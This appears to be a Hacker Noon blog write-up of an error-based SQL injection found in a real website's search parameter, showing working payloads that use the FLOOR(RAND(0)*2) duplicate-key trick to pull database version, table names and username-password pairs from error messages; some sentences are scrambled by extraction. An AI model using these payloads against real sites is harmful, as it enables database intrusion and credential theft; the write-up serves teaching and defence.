Hi everybody I don’t post much write-ups online because most of the work done privately and under NDA , but this time i decided to publish this (anonymously after website owner agreed ) because too many developers insists that you can’t exploit complicated , or non result SQL (example: count(*) sql). SQL First I got a call from one of my friends told me that a hacker contacted them and told them that he found a sql-injection in their website and express his intentions to blackmail them. I opened the website and tried to play with the parameter just to check , in a couple of minutes i found a bug in their search page .search page make ajax request when you filter the result to the page , the term parameter is the one is not filtered. /?FilterThemes?tags[]=free&term=' it generates a error page with full sql dump ( debug on mode :) ). database ERROR 1064You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near '',themes.tag_title) != 0' at line 1 SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(''',themes.tag_title) != 0 or `themes`.`title` like '%'%' or `themes`.`desc` like '%'%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12 Awesome , but oh wait … the parameter pass first to count query before it pass to aggregate query.. so must our payload pass the two queries and execute it with union.. OR …. I remembered uncommon way we used it to exploit blind SQL injection which don’t generate any result to the browser — this way can done only if errors is displayed, great that what we have here , right! The POC lets change the payload for a poc /?FilterThemes?tags[]=free&term=d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' BINGO :) ERROR 1062Duplicate entry 'hello1world' for key 'group_key' SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(' ',themes.tag_title) != 0 or `themes`.`title` like '% %' or `themes`.`desc` like '% %' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12 d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' Did you notice :) , the expression has been evaluated and displayed :) CONCAT('hello',FLOOR(RAND(0)*2),'world') let me explain the sql query and how it works before we finish our exploit. There is some information you needs to know about MySQL. When mysql try to run a sql with multiple sub queries in it , it evaluate the sub queries first then the parent When using group by required a . unique key To understand more, lets try some queries on our terminal. Select count(*) from INFORMATION_SCHEMA.CHARACTER_SETS; Normal count sql to count the number of records inside Information Scheme database (default database in mysql). now lets play with this sql a little. select count(*), version() x from INFORMATION_SCHEMA.CHARACTER_SETS group by x again nothing special , we added version() (function retrieve the mysql version) and named it x and then we grouped by it. +----------+----------------------------------------+| count(*) | x |+----------+----------------------------------------+| 40 | 10.2.3-MariaDB-10.2.3+maria~xenial-log |+----------+----------------------------------------+ I use maria db in my local machine , its a fork from mysql but with much optimization Ok lets be aggressive SELECT count(*), CONCAT(version(),floor(rand(0) *2)) x from INFORMATION_SCHEMA.CHARACTER_SETS group by x; We added a little change and if you run this sql you will get ( floor(rand(0) * 2) ) ERROR 1062 (23000): Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key' Do you remember the information i told you before about Mysql requires group key to be unique :). the generates a sequence of and the will be always the same. ( floor(rand(0) * 2) ) 0, 1, 1, 0, 1, 1 version() so the the first iteration of count(*) will be = CONCAT(version(),floor(rand(0) *2)) 10.2.3-MariaDB-10.2.3+maria~xenial-log**0** Then = CONCAT(version(),floor(rand(0) *2)) 10.2.3-MariaDB-10.2.3+maria~xenial-log**1** Then = => here will be duplicated ;) then we got the error CONCAT(version(),floor(rand(0) *2)) 10.2.3-MariaDB-10.2.3+maria~xenial-log**1** Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key' do you got it :) lets back to our exploitation. We got the error , we got the leak .. now we need some valuable informations. Starting with INFORMATION_SCHEME.tables , we can grab tables names. with simple script we can grab all tables names by extracting the result from the db error , just feed the script with payload. %d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='% now we know the users table. modifying the script with the new payload to grab users data. %d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select concat(username,'-',password) from users LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='% Thats it. Lesson learned always turn errors off in production. don’t underestimate any bug , 99% of bugs can be exploited someway. Stay safe. is how hackers start their afternoons. We’re a part of the family. We are now and happy to opportunities. Hacker Noon @AMI accepting submissions discuss advertising & sponsorship To learn more, , , or simply, read our about page like/message us on Facebook tweet/DM @HackerNoon. If you enjoyed this story, we recommend reading our and . Until next time, don’t take the realities of the world for granted! latest tech stories trending tech stories